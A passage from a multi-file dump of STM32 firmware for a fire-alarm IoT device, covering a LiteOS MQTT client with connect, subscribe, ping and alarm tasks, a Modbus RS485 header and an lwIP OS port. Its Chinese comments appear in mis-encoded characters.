transport_sendPacketBuffer(unsigned char* buf, int buflen); int transport_getdata(unsigned char* buf, int count); //connect the mqtt server void connect_mqtt_server(void) { MQTTPacket_connectData data = MQTTPacket_connectData_initializer; unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; UINT32 uwRet1; UINT32 uwRet2; data.clientID.cstring = MQTT_CLIENT_ID; data.keepAliveInterval = KEEPALIVE_INTERVAL; data.cleansession = 1; data.username.cstring = MQTT_CLIENT_USER_NAME; data.password.cstring = MQTT_CLIENT_PASSWORD; clear_rec_buf(); LOS_SemCreate(0,&g_usGetNetStatusSemID); transport_open(); uwRet1 = LOS_SemPend(g_usGetNetStatusSemID,3000); if(uwRet1 == LOS_OK) { PRINTF_DBG("\r\n connect to tcp server success !!!"); len = MQTTSerialize_connect(buf, buflen, &data); LOS_SemCreate(0,&g_usGetNetDataSemID); transport_sendPacketBuffer(buf, len); uwRet2 = LOS_SemPend(g_usGetNetDataSemID,3000); if(uwRet2 == LOS_OK) { /* wait for connack */ if (MQTTPacket_read(buf, buflen, transport_getdata) == CONNACK) { unsigned char sessionPresent, connack_rc; if (MQTTDeserialize_connack(&sessionPresent, &connack_rc, buf, buflen) != 1 || connack_rc != 0) { PRINTF_DBG("Unable to connect, return code %d\n", connack_rc); goto exit; } LED2_ON; mqtt_server_connstatus = 1; PRINTF_DBG("\r\n connect to mqtt server success !!!"); clear_rec_buf(); LOS_SemDelete(g_usGetNetStatusSemID); LOS_SemDelete(g_usGetNetDataSemID); //receive subscribe topic message creat_rec_mqtt_message_task(); //subscribe the toppic creat_mqtt_client_subtopic_task(); //send ping message to mqtt server creat_send_mqtt_ping_taask(); //send mqtt alarm to mqtt server creat_send_alarm_task(); return ; } else { PRINTF_DBG("\r\n no receive mqtt server connack !!!"); goto exit; } } if(uwRet2 == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n connect to mqtt server timeout !!!"); exit: clear_rec_buf(); LOS_SemDelete(g_usGetNetStatusSemID); LOS_SemDelete(g_usGetNetStatusSemID); transport_close(); } } if(uwRet1 == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n connect to tcp server timeout !!!"); LOS_SemDelete(g_usGetNetStatusSemID); } } //disconnect the mqtt server void disconnect_mqtt_server(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; LOS_TaskDelete(g_RecTopicMsgTskHandle); LOS_TaskDelete(g_SubTopicTskHandle); LOS_TaskDelete(g_SndMqttPingTskHandle); LOS_TaskDelete(g_SndMqttAlarmTskHandle); len = MQTTSerialize_disconnect(buf, buflen); transport_sendPacketBuffer(buf, len); PRINTF_DBG("\r\n close mqtt server connect !!!"); clear_rec_buf(); transport_close(); PRINTF_DBG("\r\n close tcp server connect !!!"); LED2_OFF; mqtt_server_connstatus = 0; } //send ping to mqtt server void send_mqtt_ping_taask(void) { UINT32 uwRet; unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; while(1) { LOS_TaskDelay((KEEPALIVE_INTERVAL)*1000); PRINTF_DBG("\r\n start send ping to mqtt !!!"); len = MQTTSerialize_pingreq(buf, buflen); LOS_SemCreate(0,&g_usWaitPingRspSemID); transport_sendPacketBuffer(buf, len); uwRet = LOS_SemPend(g_usWaitPingRspSemID,3000); LOS_SemDelete(g_usWaitPingRspSemID); if(uwRet == LOS_OK) { PRINTF_DBG("\r\n receive mqtt server ping response success!!!"); } if(uwRet == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n receive mqtt server ping response timeout!!!"); disconnect_mqtt_server(); } } } UINT32 creat_send_mqtt_ping_taask(void) { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "send mqtt ping task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)send_mqtt_ping_taask; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_SndMqttPingTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } //subscribe the topic02 void mqtt_client_subtopic_task(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; int msgid = 1; MQTTString topicString = MQTTString_initializer; int req_qos = 0; UINT32 uwRet; /* subscribe */ topicString.cstring = MQTT_CLIENT_SUBTOPIC; PRINTF_DBG("\r\n mqtt client start subscribe the topic: %s !!!",topicString.cstring); len = MQTTSerialize_subscribe(buf, buflen, 0, msgid, 1, &topicString, &req_qos); LOS_SemCreate(0,&g_usWaitSubAckSemID); transport_sendPacketBuffer(buf, len); uwRet = LOS_SemPend(g_usWaitSubAckSemID,3000); if(uwRet == LOS_OK) { PRINTF_DBG("\r\n mqtt client subscribe success !!!"); LOS_SemDelete(g_usWaitSubAckSemID); } if(uwRet == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n mqtt client subscribe fail !!!"); LOS_SemDelete(g_usGetNetDataSemID); disconnect_mqtt_server(); } LOS_TaskDelete(g_SubTopicTskHandle); } UINT32 creat_mqtt_client_subtopic_task(void) { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "mqtt client subtopic task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client_subtopic_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_SubTopicTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } //receive subscribe topic message void rec_subscribed_topic_message(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); while(1) { if(tcp_is_received()) { int RetVal = MQTTPacket_read(buf, buflen, transport_getdata); if ( RetVal== PUBLISH) { unsigned char dup; int qos; unsigned char retained; unsigned short msgid; int payloadlen_in; unsigned char* payload_in; MQTTString receivedTopic; MQTTDeserialize_publish(&dup, &qos, &retained, &msgid, &receivedTopic, &payload_in, &payloadlen_in, buf, buflen); PRINTF_DBG("\r\n topic message arrived from mqtt server\n"); PRINTF_DBG("\r\n the topic name: %s\n", MQTT_CLIENT_SUBTOPIC); PRINTF_DBG("\r\n topic message: %.*s\n", payloadlen_in, payload_in); if(strstr((const char *)payload_in,"close the alarm")) { PRINTF_DBG("\r\n close the alarm"); mqtt_send_alarm_flg = 0; } } if(RetVal== PINGRESP) { LOS_SemPost(g_usWaitPingRspSemID); } if(RetVal== SUBACK) { unsigned short submsgid; int subcount; int granted_qos; MQTTDeserialize_suback(&submsgid, 1, &subcount, &granted_qos, buf, buflen); if (granted_qos != 0) { PRINTF_DBG("granted qos != 0, %d\n", granted_qos); } else { LOS_SemPost(g_usWaitSubAckSemID); } } clear_rec_buf(); } } } UINT32 creat_rec_mqtt_message_task(void) { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "rec_topic_message_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)rec_subscribed_topic_message; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_RecTopicMsgTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } //publish the topic01 void mqtt_client_pubtopic(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; MQTTString topicString = MQTTString_initializer; unsigned char payload[] = "send the alarm"; topicString.cstring = MQTT_CLIENT_PUBTOPIC; len = MQTTSerialize_publish(buf, buflen, 0, 0, 0, 0, topicString, payload, sizeof(payload)); transport_sendPacketBuffer(buf, len); PRINTF_DBG("\r\n publish the topic message"); } void send_alarm_task(void) { while(1) { if(mqtt_send_alarm_flg) { if(mqtt_server_connstatus == 0) { PRINTF_DBG("\r\n mqtt server no connect,publish the topic message fail !!!"); } else { // start send alarm message LED4_ON; LOS_TaskDelay(1000); LED4_OFF; mqtt_client_pubtopic(); } LOS_TaskDelay(7000); } } } UINT32 creat_send_alarm_task(void) { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "send_alarm_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)send_alarm_task; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_SndMqttAlarmTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` modbus.h ```/** * Init USART2 for Modbus RS485 */ #ifndef __RS485_USART_H #define __RS485_USART_H /** std lib */ #include "stm32f4xx.h" #include <stdio.h> /** USART2 HW. */ //#define USART1_DR_Base 0x40013804 // 0x40013800 + 0x04 = 0x40013804 //#define SENDBUFF_SIZE 5000 #define RS485_USART USART2 #define RS485_USART_CLK RCC_APB1Periph_USART2 #define RS485_USART_BAUDRATE 115200 #define RS485_USART_RX_GPIO_PORT GPIOD #define RS485_USART_RX_GPIO_CLK RCC_AHB1Periph_GPIOD #define RS485_USART_RX_PIN GPIO_Pin_6 #define RS485_USART_RX_AF GPIO_AF_USART2 #define RS485_USART_RX_SOURCE GPIO_PinSource6 #define RS485_USART_TX_GPIO_PORT GPIOD #define RS485_USART_TX_GPIO_CLK RCC_AHB1Periph_GPIOD #define RS485_USART_TX_PIN GPIO_Pin_5 #define RS485_USART_TX_AF GPIO_AF_USART2 #define RS485_USART_TX_SOURCE GPIO_PinSource5 //ๆ”ถๅ‘็ฎก่„š #define RS485_GPIO_PIN GPIO_Pin_11 #define RS485_GPIO_PORT GPIOD #define RS485_GPIO_CLK RCC_AHB1Periph_GPIOD #define digitalHi(p,i) {p->BSRRL=i;} //่ฎพ็ฝฎไธบ้ซ˜็”ตๅนณ -- reference bsp_led.h #define digitalLo(p,i) {p->BSRRH=i;} //่พ“ๅ‡บไฝŽ็”ตๅนณ #define RS485_TX_ON_RX_OFF digitalHi(RS485_GPIO_PORT,RS485_GPIO_PIN) #define RS485_RX_ON_TX_OFF digitalLo(RS485_GPIO_PORT,RS485_GPIO_PIN) /** RS485 */ #define NUM_TX_BUFF 128 //ๅฎšไน‰ๅ‘้€็ผ“ๅ†ฒๅŒบๅคงๅฐ #define NUM_RX_BUFF 128 //ๅฎšไน‰ๆŽฅๅ—็ผ“ๅ†ฒๅŒบๅคงๅฐ enum{ MODBUS_03 = 0x03, //03ๅท ่ฏปๅฏ„ๅญ˜ๅ™จ }; enum{ MODBUS_03_SUB_06= 0x06, //03ๅท ่ฏปๅฏ„ๅญ˜ๅ™จ็š„ๅญ็ฑปๅˆซ - ็”ตๅŠจๆœบ่ฟ่กŒ็Šถๆ€ MODBUS_03_SUB_07= 0x07 // - ็”ตๅŠจๆœบ็š„ๆจกๆ‹Ÿ้‡ }; /** bool */ #ifndef TRUE #define TRUE 1 #endif #ifndef FALSE #define FALSE 0 #endif /** modbus ๅ›บๅŒ–ๅฏนไพง่ฎพๅค‡ๅœฐๅ€ */ #define MODBUS_ADDRESS_SLAVE 0x01 /** Modbus Struct */ typedef struct { uint16_t address; //้€š่ฎฏๅœฐๅ€ 0~255 /**ๆŽฅๅ—**/ uint8_t RxBuff[NUM_RX_BUFF]; //ๆŽฅๅ—็ผ“ๅ†ฒๅŒบ uint16_t RxLen; //ๆŽฅๅ—้•ฟๅบฆ uint16_t RxCount; //ๆŽฅๅ—่ฎกๆ•ฐ /**ๅ‘้€**/ uint8_t TxBuff[NUM_TX_BUFF]; //ๅ‘้€็ผ“ๅ†ฒๅŒบ uint16_t TxLen; //ๅ‘้€้•ฟๅบฆ uint16_t TxCount; //ๅ‘้€่ฎกๆ•ฐ /**ๆ˜ฏๅฆๆœ‰ๆ–ฐๆŠฅๆ–‡ๆœชๅค„็†ๆ ‡ๅฟ—**/ uint8_t bNew; //TRUE: ๆœ‰ๆ–ฐ็š„ไธ€ๅŒ…ๆ•ฐๆฎ้œ€่ฆๅค„็† /**ๆ˜ฏๅฆๆœ‰ๆ•ฐๆฎๆญฃๅœจๅ‘้€ๆ ‡ๅฟ—**/ uint8_t bSend; //TRUE: ๅ‘้€ๆ•ฐๆฎ // volatile uint32 RxTimer; //ๆŽฅๅ—ๆ—ถ้—ด่ฎกๆ•ฐๅ™จ // volatile uint32 TxTimer; //ๅ‘้€่ถ…ๆ—ถ่ฎกๆ•ฐๅ™จ // volatile uint32 OpTimer; //ๆ“ไฝœ่ถ…ๆ—ถ่ฎกๆ—ถๅ™จ // volatile uint32 ExTimer; //ๆ‰ฉๅฑ•่ฎกๆ—ถๅ™จ๏ผŒ็”จไบŽๆŸไบ›็‰นๆฎŠๅŠŸ่ƒฝ //modbus ็งๆœ‰ๆ•ฐๆฎ็ฑปๅž‹ - ๆŽฅๆ”ถ uint16_t modbusRxCRC; //ModbusCRCๆ ก้ชŒ uint8_t modbusCode; //ๆŠฅๆ–‡็‰นๅพ็  }TBuffModbus; //็”ตๅŠจๆœบ็Šถๆ€ enum{ STATUS_STOP =0x00, //ๅœๆญขๆ€ STATUS_STARTING, //ๅฏๅŠจๆ€ STATUS_RUN //่ฟ่กŒๆ€ }; //็”ตๅŠจๆœบ่ฝฌๅ‘ ๆญฃๅ‘/ๅๅ‘ enum{ STATUS_POSITIVE, //ๆญฃๅ‘ STATUS_NEGATIVE //ๅๅ‘ }; typedef struct{ uint8_t motor_status_now:3; // ็”ตๆœบๅฝ“ๅ‰็Šถๆ€ - ๆฏๆฌก modbus ไธŠ้€็š„็”ตๅŠจๆœบ state ๆŠฅๆ–‡้ƒฝไผšๆ›ดๆ–ฐ่ฟ™ไธชๅ€ผ, uint8_t motor_status_last:3;// ็”ตๆœบ็š„ไธŠไธ€ไธช็Šถๆ€ - mqttไธญไผšๆฏ”่พƒ _now ไธŽ _last ๆ˜ฏๅฆไธๅŒ, ่‹ฅๆ˜ฏไธๅŒๅˆ™ไธŠ้€ mqtt ็”ตๆœบ็Šถๆ€ๅ‘็”Ÿๅ˜ๅŒ– uint8_t motor_dir:2; // ็”ตๅŠจๆœบ่ฝฌๅ‘ ๆญฃๅ‘/ๅๅ‘ }S_Status; // ็”ตๅŠจๆœบ็Šถๆ€ - Modbus ๅŠŸ่ƒฝ็  0x03 ๅˆ†็ฑป็  0x06; typedef union{ uint8_t ui; S_Status s; }TStatus; //็”ตๅŠจๆœบๆต‹้‡ๅ€ผ - Modbus ๅŠŸ่ƒฝ็  0x03 ๅˆ†็ฑป็  0x07; typedef struct{ /***ไธ‰็›ธ็”ตๆต - ๆต‹้‡้‡***/ uint16_t Meas_Ia; }TMeasure; typedef struct { TStatus Status; TMeasure Measure; }TMotor; extern TMotor stMotor; /** mqtt ๅค„็†ๆ—ถ้œ€่ฆ็š„ global ๅ˜้‡ */ /*------------------------------------------------------------------*/ /** ๅฎšไน‰ไธ€ไบ›็”จไบŽ็ปดๆŒ OS ๆ—ถ้—ด็š„ๅ˜้‡, ่ฟ™ไบ›ๅŠŸ่ƒฝๅฎž็ŽฐๅŽๅฏไปฅ ็”จไบŽๅ‡ฝๆ•ฐ HAL_UptimeMs() ็ญ‰ */ /** ๅŒๆ—ถ่ฟ˜้œ€่ฆ็ป“ๅˆ OS tick ๅˆ‡ๆขไธญๆ–ญๅ‡ฝๆ•ฐ, ๅ› ไธบ่ฏฅๅ‡ฝๆ•ฐ่ฟ™้‡Œๆฏ 1ms ไธญๆ–ญ 1 ๆฌก */ /** * ๆ—ฅๆœŸๆ—ถ้—ด๏ผŒ็ฒพ็กฎๅˆฐๆฏซ็ง’ * ๅนด็š„่กจ็คบๆ–นๅผไธบไธคไฝ๏ผŒๆฏ”ๅฆ‚2007ๅนด๏ผŒๅฐฑ่กจ็คบไธบy=7 */ typedef struct { uint8_t y; //ๅนด uint8_t mon; //ๆœˆ uint8_t d; //ๆ—ฅ uint8_t h; //ๆ—ถ uint8_t min; //ๅˆ† uint8_t s; //็ง’ uint16_t ms; //ๆฏซ็ง’ }TDateTime; extern TDateTime stNowTime; uint8_t CheckOSTime(TDateTime * pTime); void InitOSTime(TDateTime * pTime); inline void OSTimeAddSecond(TDateTime * pTime); /*------------------------------------------------------------------*/ /** Function API - Motor State */ /** ่ฏปๅ–/่ฎพ็ฝฎ็”ตๆœบ็Šถๆ€ */ #define GetMotorStatusNow() (stMotor.Status.s.motor_status_now) #define SetMotorStatusNow(status) (stMotor.Status.s.motor_status_now=(status)) #define GetMotorStatusLast() (stMotor.Status.s.motor_status_last) #define SetMotorStatusLast(status) (stMotor.Status.s.motor_status_last=(status)) /** Function API - Modbus */ void RS485_USART2_Config(void); void Modbus_OnSend(TBuffModbus *pBuff); void Moubus_OnRecvive(TBuffModbus *pBuff); void ModbusProc_InTask(TBuffModbus *pBuff); #endif /* __USART2_H */ ``` sys_arch.c ```/* * Copyright (c) 2001-2003 Swedish Institute of Computer Science. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. * * This file is part of the lwIP TCP/IP stack. * * Author: Adam Dunkels <adam@sics.se> * */ #define SYS_ARCH_GLOBALS /* lwIP includes. */ #include "lwip/debug.h" #include "lwip/def.h" #include "lwip/sys.h" #include "lwip/mem.h" #include "lwip/stats.h" #include "includes.h" #include "arch/sys_arch.h" #include "include.h" /*----------------------------------------------------------------------------*/ /* DEFINITIONS */ /*----------------------------------------------------------------------------*/ /*----------------------------------------------------------------------------*/ /* VARIABLES */ /*----------------------------------------------------------------------------*/ u32_t sys_now() { return LOS_TickCountGet(); } /*-----------------------------------------------------------------------------------*/ // Creates an empty mailbox. err_t sys_mbox_new(sys_mbox_t *mbox, int size) { osMessageQDef_t queue_def; osThreadId thread_id; (void ) size; (void ) thread_id; queue_def.queue_sz = MAX_QUEUES; queue_def.item_sz = sizeof( void * ); queue_def.pool = NULL; *mbox = osMessageCreate(&queue_def, thread_id); return (*mbox == NULL) ? ERR_MEM : ERR_OK; } /*-----------------------------------------------------------------------------------*/ /* Deallocates a mailbox. If there are messages still present in the mailbox when the mailbox is deallocated, it is an indication of a programming error in lwIP and the developer should be notified. */ void sys_mbox_free(sys_mbox_t *mbox) { osMessageDelete(*mbox); } /*-----------------------------------------------------------------------------------*/ // Posts the "msg" to the mailbox. void sys_mbox_post(sys_mbox_t *mbox, void *data) { while (osOK != osMessagePut(*mbox, (uint32_t)data, LOS_WAIT_FOREVER)); } /*-----------------------------------------------------------------------------------*/ // Try to post the "msg" to the mailbox. err_t sys_mbox_trypost(sys_mbox_t *mbox, void *msg) { return (osMessagePut(*mbox, (uint32_t)msg, 0)==osOK) ? ERR_OK : ERR_MEM; } /*-----------------------------------------------------------------------------------*/ /* Blocks the thread until a message arrives in the mailbox, but does not block the thread longer than "timeout" milliseconds (similar to the sys_arch_sem_wait() function). The "msg" argument is a result parameter that is set by the function (i.e., by doing "*msg = ptr"). The "msg" parameter maybe NULL to indicate that the message should be dropped. The return values are the same as for the sys_arch_sem_wait() function: Number of milliseconds spent waiting or SYS_ARCH_TIMEOUT if there was a timeout. Note that a function with a similar name, sys_mbox_fetch(), is implemented by lwIP. */ u32_t sys_arch_mbox_fetch(sys_mbox_t *mbox, void **msg, u32_t timeout) { void *dummyptr; uint32_t StartTime, EndTime, Elapsed; osEvent ret; StartTime = osKernelSysTick(); if( msg == NULL ){ msg = &dummyptr; } if( timeout != 0 ){ ret = osMessageGet(*mbox, timeout); if ( osEventMessage == ret.status ){ *msg = (void *)ret.value.v; EndTime = osKernelSysTick(); Elapsed = (EndTime - StartTime); return ( Elapsed ); } // timed out blocking for message else{ *msg = NULL; return SYS_ARCH_TIMEOUT; } } // block forever for a message. else{ ret = osMessageGet(*mbox, LOS_WAIT_FOREVER); while(osEventMessage != ret.status) { ret = osMessageGet(*mbox, LOS_WAIT_FOREVER); } // time is arbitrary *msg = (void *)ret.value.v; EndTime = osKernelSysTick(); Elapsed = EndTime - StartTime; return ( Elapsed ); // return time blocked TODO test } } /*----------------------------------------------------------------------------------*/ int sys_mbox_valid(sys_mbox_t *mbox) { return (*mbox == SYS_MBOX_NULL) ? 0 : 1; } /*-----------------------------------------------------------------------------------*/ void sys_mbox_set_invalid(sys_mbox_t *mbox) { *mbox = SYS_MBOX_NULL; } /*-----------------------------------------------------------------------------------*/ // Creates a new semaphore. The "count" argument specifies // the initial state of the semaphore. err_t sys_sem_new(sys_sem_t *sem, u8_t count) { return (LOS_SemCreate(count,(UINT32 *)sem)==0) ? 0 : -1; } /*-----------------------------------------------------------------------------------*/ /* Blocks the thread while waiting for the semaphore to be signaled. If the "timeout" argument is non-zero, the thread should only be blocked for the specified time (measured in milliseconds). If the timeout argument is non-zero, the return value is the number of milliseconds spent waiting for the semaphore to be signaled. If the semaphore wasn't signaled within the specified time, the return value is SYS_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore (i.e., it was already signaled), the function may return zero. Notice that lwIP implements a function with a similar name, sys_sem_wait(), that uses the sys_arch_sem_wait() function. */ u32_t sys_arch_sem_wait(sys_sem_t *sem, u32_t timeout) { UINT64 StartTime, EndTime, Elapsed; u32_t ret; StartTime = LOS_TickCountGet(); if(timeout != 0) { ret = LOS_SemPend((UINT32)*sem, timeout); if(LOS_OK == ret) { EndTime = LOS_TickCountGet(); Elapsed = EndTime - StartTime; return (Elapsed); // return time blocked TODO test } else { return SYS_ARCH_TIMEOUT; } } // must block without a timeout else { while(LOS_OK != LOS_SemPend((UINT32)*sem, LOS_WAIT_FOREVER)) { } EndTime = LOS_TickCountGet(); Elapsed = EndTime - StartTime; return ( Elapsed ); // return time blocked } } /*-----------------------------------------------------------------------------------*/ // Signals a semaphore void sys_sem_signal(sys_sem_t *sem) { LOS_SemPost((UINT32)*sem); } /*-----------------------------------------------------------------------------------*/ // Deallocates a semaphore void sys_sem_free(sys_sem_t *sem) { LOS_SemDelete((UINT32)*sem); } /*-----------------------------------------------------------------------------------*/ int sys_sem_valid(sys_sem_t *sem) { return (*sem == SYS_SEM_NULL) ? 0 : 1; } /*-----------------------------------------------------------------------------------*/ void sys_sem_set_invalid(sys_sem_t *sem) { *sem = SYS_SEM_NULL; } /*-----------------------------------------------------------------------------------*/ // Initialize sys arch void sys_init(void) { } static osPriority get_prio(int prio) { osPriority ret = osPriorityNormal; if (prio >= 7) { ret = osPriorityRealtime; } else if(prio == 6) { ret = osPriorityHigh; } else if(prio == 5) { ret = osPriorityAboveNormal; } else if(prio == 4) { ret = osPriorityNormal; } else if(prio == 3) { ret = osPriorityBelowNormal; } else if(prio == 2) { ret = osPriorityLow; } else if(prio == 1) { ret = osPriorityIdle; } else { ret = osPriorityNormal; } return ret; } /*-----------------------------------------------------------------------------------*/ // TODO /*-----------------------------------------------------------------------------------*/ /* Starts a new thread with priority "prio" that will begin its execution in the function "thread()". The "arg" argument will be passed as an argument to the thread() function. The id of the new thread is returned. Both the id and the priority are system dependent. */ sys_thread_t sys_thread_new(const char *name, lwip_thread_fn thread , void *arg, int stacksize, int prio) { osThreadId id; osThreadDef_t thread_def; thread_def.name = (char *)name; thread_def.stacksize = stacksize; thread_def.tpriority = get_prio(prio); thread_def.pthread = (os_pthread)thread; id = osThreadCreate(&thread_def, arg); return (NULL != id) ? id : NULL; } /* This optional function does a "fast" critical region protection and returns the previous protection level. This function is only called during very short critical regions. An embedded system which supports ISR-based drivers might want to implement this function by disabling interrupts. Task-based systems might want to implement this by using a mutex or disabling tasking. This function should support recursive calls from the same task or interrupt. In other words, sys_arch_protect() could be called while already protected. In that case the return value indicates that it is already protected. sys_arch_protect() is only required if your port is supporting an operating system. */ sys_prot_t sys_arch_protect(void) { return LOS_IntLock(); } /* This optional function does a "fast" set of critical region protection to the value specified by pval. See the documentation for sys_arch_protect() for more information. This function is only required if your port is supporting an operating system. */ void sys_arch_unprotect(sys_prot_t pval) { LOS_IntRestore(pval); } ``` intelligent_fire_baiducloud.h ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: V1.0 ** Descriptions: Contains header files and defined the structures ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ #ifndef __INTELLIGENT_FIRE_BAIDUCLOUD_H #define __INTELLIGENT_FIRE_BAIDUCLOUD_H #ifdef __cplusplus extern "C" { #endif /******************************************************************************************************** ** Includes *********************************************************************************************************/ /********************************************************************************************************* ** Function declaration *********************************************************************************************************/ unsigned int creat_key_task(void); unsigned int creat_lwip_poll_task(void); #ifdef __cplusplus } #endif #endif /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` transport.h ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: V1.0 ** Descriptions: Contains header files and defined the structures ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ #ifndef __TRANSPORT_H #define __TRANSPORT_H #ifdef __cplusplus extern "C" { #endif /******************************************************************************************************** ** Includes *********************************************************************************************************/ /********************************************************************************************************* ** Function declaration *********************************************************************************************************/ void transport_open(void); void transport_close(void); void transport_sendPacketBuffer(unsigned char* buf, int buflen); int transport_getdata(unsigned char* buf, int count); #ifdef __cplusplus } #endif #endif /********************************************************************************************************* END FILE *********************************************************************************************************/ ``` tcp_client_demo.c ```#define _TCP_CLIENT_DEMO_C_ #include "tcp_client_demo.h" #include "./Bsp/systick/bsp_SysTick.h" #include "./Bsp/usart/bsp_debug_usart.h" #include "malloc.h" #include "stdio.h" #include "string.h" #include "lb_timer.h" #include "./Bsp/led/bsp_led.h" #include "Wdt.h" /* *ๅŠŸ่ƒฝ๏ผšSTM32F407VET6ไปฅๅคช็ฝ‘ๆ ธๅฟƒๆฟๆต‹่ฏ•ไปฃ็ ๏ผŒ่‡ชๅŠจ่Žทๅ–IP๏ผŒๅนถๅปบ็ซ‹ๆœๅŠกๅ™จ๏ผŒๅฏ้€š่ฟ‡ITM็š„ไธฒๅฃๆ‰“ๅฐๅฝ“ๅ‰ๆ•ฐๆฎไฟกๆฏ * 1.ๅ…ณไบŽkeil5ๅฆ‚ไฝ•ๅฎ‰่ฃ…๏ผŒ่ง†้ข‘ๆ•™็จ‹ใ€็ฌฌ01็ซ 03 Keil5ๅฎ‰่ฃ…ๅŠๆณจๆ„ไบ‹้กนใ€‘ ่ฏทๅˆฐไปฅไธ‹็ฝ‘ๅ€่Žทๅ–ไธ‹่ฝฝๅœฐๅ€๏ผšhttp://www.zkaifa.com/bbs/thread-12-1-1.html * 2.ๅ…ณไบŽITMๅฆ‚ไฝ•ไฝฟ็”จ ๏ผŒ่ง†้ข‘ๆ•™็จ‹ใ€็ฌฌ01็ซ 04 ฮผCOSไปฃ็ ไธ‹่ฝฝๅŠ็Žฏๅขƒๅปบ็ซ‹ใ€‘่ฏทๅˆฐไปฅไธ‹็ฝ‘ๅ€่Žทๅ–ไธ‹่ฝฝๅœฐๅ€๏ผšhttp://www.zkaifa.com/bbs/thread-12-1-1.html *ๆœบๆž„๏ผšๅŠฉๅผ€ๅ‘็ฝ‘(www.zkaifa.com) *่ฎบๅ›๏ผšwww.zkaifa.com/bbs *ๆท˜ๅฎ๏ผšhttp://shop68304486.taobao.com/ *ไฝœ่€…๏ผšliubinkaixin *ๆ—ถ้—ด๏ผš2015-05-30 *ๅฃฐๆ˜Ž๏ผšๅฝ“ๅ‰็‰ˆๆœฌไป…ๆไพ›ๆ ธๅฟƒๆฟๆต‹่ฏ•๏ผŒไป…ๆไพ›็ ”็ฉถๅญฆไน ไฝฟ็”จ๏ผŒ่‹ฅไฝœไธบๅ•†ไธš็”จ้€”ๅ‡บ็Žฐไปปไฝ•้”™่ฏฏ๏ผŒๆไพ›ๆ–นไธๆ‰ฟๆ‹…ไปปไฝ•่ดฃไปป *ๆ„Ÿ่ฐข๏ผš็จ‹ๅบๅ‚่€ƒใ€Šๆญฃ็‚นๅŽŸๅญ@ALIENTEKใ€‹ๆไพ›็š„ๆบไปฃ็ ่ฟ›่กŒ็ผ–ๅ†™๏ผŒๅœจๆญค้žๅธธๆ„Ÿ่ฐขไป–ไปฌ็š„ๅทฅ็จ‹ๅธˆไปฌ */ typedef struct{ INT8U 